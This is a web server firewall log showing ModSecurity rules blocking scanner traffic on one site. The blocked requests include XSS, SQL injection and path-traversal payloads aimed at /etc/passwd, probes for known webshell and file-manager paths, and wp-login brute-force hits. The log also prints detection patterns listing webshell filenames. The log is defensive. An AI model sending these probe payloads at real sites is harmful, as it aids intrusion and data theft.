[Fri Feb 27 19:57:53.606269 2026] [:error] [pid 56075:tid 56102] [client 170.106.167.214:52698] [client 170.106.167.214] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaGGwcKBhrfI6KNv9Rh22AAAABg"]
[Fri Feb 27 20:36:11.851752 2026] [:error] [pid 56075:tid 56101] [client 42.118.224.94:8549] [client 42.118.224.94] ModSecurity: Access denied with code 403 (phase 2). Match of "contains cpanel" against "REQUEST_URI" required. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "55"] [id "211190"] [rev "9"] [msg "COMODO WAF: Remote File Access Attempt||measureyourbrand.com.au|F|2"] [data "Matched Data: /etc/ found within REQUEST_URI: /?lnmwctne=%3Cscript%3Ealert%28%22XSS%22%29%3B%3C%2Fscript%3E&ibsbjwfc=UNION+SELECT+ALL+FROM+information_schema+AND+%22+or+SLEEP%285%29+or+%22&qjmmogpi=..%2F..%2Fetc%2Fpasswd"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaGPu8KBhrfI6KNv9RigqgAAABc"]
[Fri Feb 27 20:36:14.385621 2026] [:error] [pid 52073:tid 52078] [client 42.118.224.94:8564] [client 42.118.224.94] ModSecurity: Access denied with code 403 (phase 2). Pattern match "<script\\\\b" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/07_XSS_XSS.conf"] [line "65"] [id "212620"] [rev "4"] [msg "COMODO WAF: Cross-site Scripting (XSS) Attack||measureyourbrand.com.au|F|2"] [data "Matched Data: <script found within REQUEST_URI: /?umksnses=<script>alert(\\x22xss\\x22);</script>"] [severity "CRITICAL"] [tag "CWAF"] [tag "XSS"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aaGPvoa650YPyxXVeRYt8QAAAYI"]
[Fri Feb 27 21:28:19.931523 2026] [:error] [pid 52073:tid 52094] [client 45.131.195.64:35239] [client 45.131.195.64] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aaGb84a650YPyxXVeRZTxwAAAZI"]
[Fri Feb 27 21:28:21.274671 2026] [:error] [pid 49306:tid 49314] [client 45.131.195.61:63133] [client 45.131.195.61] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aaGb9fnSUDZue59Px9sXGwAAAUY"]
[Fri Feb 27 21:28:23.334490 2026] [:error] [pid 54231:tid 54241] [client 45.131.195.101:33975] [client 45.131.195.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/tinyfilemanager.php"] [unique_id "aaGb9-Tvb5AeyJCdY7AQoAAAAEc"]
[Fri Feb 27 21:28:24.582440 2026] [:error] [pid 56075:tid 56096] [client 45.131.195.104:34103] [client 45.131.195.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/index.php"] [unique_id "aaGb-MKBhrfI6KNv9RjO2AAAABI"]
[Fri Feb 27 21:28:26.576126 2026] [:error] [pid 52073:tid 52096] [client 45.131.195.95:43087] [client 45.131.195.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aaGb-oa650YPyxXVeRZUFgAAAZQ"]
[Fri Feb 27 21:28:27.308507 2026] [:error] [pid 52073:tid 52081] [client 45.131.195.101:38299] [client 45.131.195.101] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aaGb-4a650YPyxXVeRZUMAAAAYU"]
[Fri Feb 27 21:28:27.786675 2026] [:error] [pid 52073:tid 52092] [client 45.131.195.114:59443] [client 45.131.195.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/crop/admin.php"] [unique_id "aaGb-4a650YPyxXVeRZUQQAAAZA"]
[Fri Feb 27 21:28:28.274259 2026] [:error] [pid 54101:tid 54118] [client 45.131.195.67:28253] [client 45.131.195.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/wp-conflg.php"] [unique_id "aaGb_FY5qgRktcYTGFtANQAAAco"]
[Fri Feb 27 21:28:28.741617 2026] [:error] [pid 54103:tid 54170] [client 45.131.195.95:47023] [client 45.131.195.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/admin.php"] [unique_id "aaGb_OvG4MPCmE0B2sClxwAAAMA"]
[Fri Feb 27 21:28:29.236237 2026] [:error] [pid 62998:tid 63020] [client 45.131.195.62:48077] [client 45.131.195.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-login.php"] [unique_id "aaGb_VQeueXZDUmoLolJtwAAARI"]
[Fri Feb 27 21:28:29.973755 2026] [:error] [pid 56075:tid 56094] [client 45.131.195.106:34947] [client 45.131.195.106] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/PHPMailer/options.php"] [unique_id "aaGb_cKBhrfI6KNv9RjPQwAAABA"]
[Fri Feb 27 21:28:32.962021 2026] [:error] [pid 56075:tid 56079] [client 45.131.195.80:57625] [client 45.131.195.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "measureyourbrand.com.au"] [uri "/filemanager.php"] [unique_id "aaGcAMKBhrfI6KNv9RjPhwAAAAI"]
[Fri Feb 27 21:28:34.025748 2026] [:error] [pid 52073:tid 52077] [client 45.131.195.104:55127] [client 45.131.195.104] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/admin.php"] [unique_id "aaGcAoa650YPyxXVeRZUxgAAAYE"]
[Fri Feb 27 21:28:34.752309 2026] [:error] [pid 52073:tid 52100] [client 209.87.169.174:39641] [client 209.87.169.174] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/jquery.php"] [unique_id "aaGcAoa650YPyxXVeRZU5wAAAZg"]
[Fri Feb 27 21:28:35.485357 2026] [:error] [pid 49306:tid 49315] [client 45.131.195.95:49203] [client 45.131.195.95] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/block-supports/autoload_classmap.php"] [unique_id "aaGcA_nSUDZue59Px9sXngAAAUc"]
[Fri Feb 27 21:28:37.603724 2026] [:error] [pid 54101:tid 54128] [client 45.131.195.109:30659] [client 45.131.195.109] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/blocks/table/int/tmpl/index.php"] [unique_id "aaGcBVY5qgRktcYTGFtATwAAAdQ"]
[Fri Feb 27 21:28:38.363251 2026] [:error] [pid 56075:tid 56102] [client 45.131.195.67:20867] [client 45.131.195.67] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/jquery/suggest.php"] [unique_id "aaGcBsKBhrfI6KNv9RjPxQAAABg"]
[Fri Feb 27 21:28:39.344327 2026] [:error] [pid 56075:tid 56101] [client 45.131.195.62:34665] [client 45.131.195.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/defaults.php"] [unique_id "aaGcB8KBhrfI6KNv9RjP2gAAABc"]
[Fri Feb 27 21:28:40.064894 2026] [:error] [pid 54102:tid 54155] [client 45.131.195.66:40425] [client 45.131.195.66] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/index.php"] [unique_id "aaGcCHi74D4fiYUm_GduhwAAAIs"]
[Fri Feb 27 21:28:41.601499 2026] [:error] [pid 52073:tid 52095] [client 45.131.195.76:29185] [client 45.131.195.76] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/index.php"] [unique_id "aaGcCYa650YPyxXVeRZVZgAAAZM"]
[Fri Feb 27 21:28:45.587831 2026] [:error] [pid 49306:tid 49315] [client 45.131.195.55:53881] [client 45.131.195.55] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/about.php"] [unique_id "aaGcDfnSUDZue59Px9sYFQAAAUc"]
[Fri Feb 27 21:28:46.353405 2026] [:error] [pid 62998:tid 63023] [client 45.131.195.96:39867] [client 45.131.195.96] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/Requests/index.php"] [unique_id "aaGcDlQeueXZDUmoLolKLgAAARU"]
[Fri Feb 27 21:28:46.875102 2026] [:error] [pid 52073:tid 52091] [client 45.131.195.248:23547] [client 45.131.195.248] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php/wp-content/x/index.php"] [unique_id "aaGcDoa650YPyxXVeRZVmwAAAY8"]
[Fri Feb 27 21:28:47.388325 2026] [:error] [pid 49306:tid 49325] [client 45.131.195.69:29701] [client 45.131.195.69] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ID3/about.php"] [unique_id "aaGcD_nSUDZue59Px9sYPwAAAVE"]
[Fri Feb 27 21:28:48.679856 2026] [:error] [pid 49306:tid 49309] [client 45.131.195.53:57733] [client 45.131.195.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/info.php"] [unique_id "aaGcEPnSUDZue59Px9sYaQAAAUE"]
[Fri Feb 27 21:28:49.171769 2026] [:error] [pid 52073:tid 52099] [client 45.131.195.80:42185] [client 45.131.195.80] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class.api.php"] [unique_id "aaGcEYa650YPyxXVeRZVvwAAAZc"]
[Fri Feb 27 21:28:49.597206 2026] [:error] [pid 54101:tid 54108] [client 45.131.195.86:46403] [client 45.131.195.86] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/index.php"] [unique_id "aaGcEVY5qgRktcYTGFtAgwAAAcA"]
[Fri Feb 27 21:28:52.283164 2026] [:error] [pid 62998:tid 63022] [client 45.131.195.60:57959] [client 45.131.195.60] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/admin.php"] [unique_id "aaGcFFQeueXZDUmoLolKmwAAARQ"]
[Fri Feb 27 21:28:53.584508 2026] [:error] [pid 62998:tid 63005] [client 45.131.195.53:61047] [client 45.131.195.53] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.53, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/js/wp-login.php"] [unique_id "aaGcFVQeueXZDUmoLolKtQAAAQM"]
[Fri Feb 27 21:28:56.692856 2026] [:error] [pid 62998:tid 63022] [client 45.131.195.53:61047] [client 45.131.195.53] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/about.php"] [unique_id "aaGcGFQeueXZDUmoLolK8AAAARQ"]
[Fri Feb 27 21:28:57.648528 2026] [:error] [pid 49306:tid 49323] [client 45.131.195.114:51191] [client 45.131.195.114] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 45.131.195.114, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/wp-login.php"] [unique_id "aaGcGfnSUDZue59Px9sZBQAAAU8"]
[Fri Feb 27 21:28:58.174434 2026] [:error] [pid 49306:tid 49312] [client 45.131.195.114:51191] [client 45.131.195.114] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/item.php"] [unique_id "aaGcGvnSUDZue59Px9sZDwAAAUQ"]
[Fri Feb 27 22:38:30.028785 2026] [:error] [pid 49306:tid 49328] [client 185.231.100.72:48380] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/apollo%20slot%20pg.aspx"] [unique_id "aaGsZvnSUDZue59Px9tcuwAAAVQ"]
[Fri Feb 27 22:38:32.506591 2026] [:error] [pid 54103:tid 54192] [client 185.231.100.72:53014] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/auto%20slot.aspx"] [unique_id "aaGsaOvG4MPCmE0B2sDFvAAAANU"]
[Fri Feb 27 22:38:34.942634 2026] [:error] [pid 54231:tid 54254] [client 185.231.100.72:55602] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "aaGsauTvb5AeyJCdY7A8XgAAAFQ"]
[Fri Feb 27 22:38:37.561716 2026] [:error] [pid 54102:tid 54168] [client 185.231.100.72:55610] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20co.aspx"] [unique_id "aaGsbXi74D4fiYUm_GeLWwAAAJc"]
[Fri Feb 27 22:38:40.006628 2026] [:error] [pid 62998:tid 63013] [client 185.231.100.72:55618] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "aaGscFQeueXZDUmoLol8AQAAAQs"]
[Fri Feb 27 22:38:42.620234 2026] [:error] [pid 56075:tid 56098] [client 185.231.100.72:59728] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20original.aspx"] [unique_id "aaGscsKBhrfI6KNv9RhBhgAAABQ"]
[Fri Feb 27 22:38:45.127512 2026] [:error] [pid 49306:tid 49310] [client 185.231.100.72:59738] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "aaGsdfnSUDZue59Px9tc5AAAAUI"]
[Fri Feb 27 22:38:47.795042 2026] [:error] [pid 56075:tid 56092] [client 185.231.100.72:59748] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "aaGsd8KBhrfI6KNv9RhBqAAAAA4"]
[Fri Feb 27 22:38:50.390620 2026] [:error] [pid 49306:tid 49330] [client 185.231.100.72:59750] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "aaGsevnSUDZue59Px9tdDgAAAVY"]
[Fri Feb 27 22:38:52.899170 2026] [:error] [pid 54231:tid 54247] [client 185.231.100.72:48592] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "aaGsfOTvb5AeyJCdY7A8eAAAAE0"]
[Fri Feb 27 22:38:55.370103 2026] [:error] [pid 49306:tid 49330] [client 185.231.100.72:48598] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20co.aspx"] [unique_id "aaGsf_nSUDZue59Px9tdHwAAAVY"]
[Fri Feb 27 22:38:58.113146 2026] [:error] [pid 49306:tid 49308] [client 185.231.100.72:48606] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "aaGsgvnSUDZue59Px9tdLwAAAUA"]
[Fri Feb 27 22:39:00.849158 2026] [:error] [pid 56075:tid 56101] [client 185.231.100.72:48618] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20thailand.aspx"] [unique_id "aaGshMKBhrfI6KNv9RhB3QAAABc"]
[Fri Feb 27 22:39:03.468431 2026] [:error] [pid 54231:tid 54235] [client 185.231.100.72:40280] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "aaGsh-Tvb5AeyJCdY7A8jgAAAEE"]
[Fri Feb 27 22:39:05.893608 2026] [:error] [pid 54102:tid 54164] [client 185.231.100.72:40284] [client 185.231.100.72] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "aaGsiXi74D4fiYUm_GeLfgAAAJQ"]
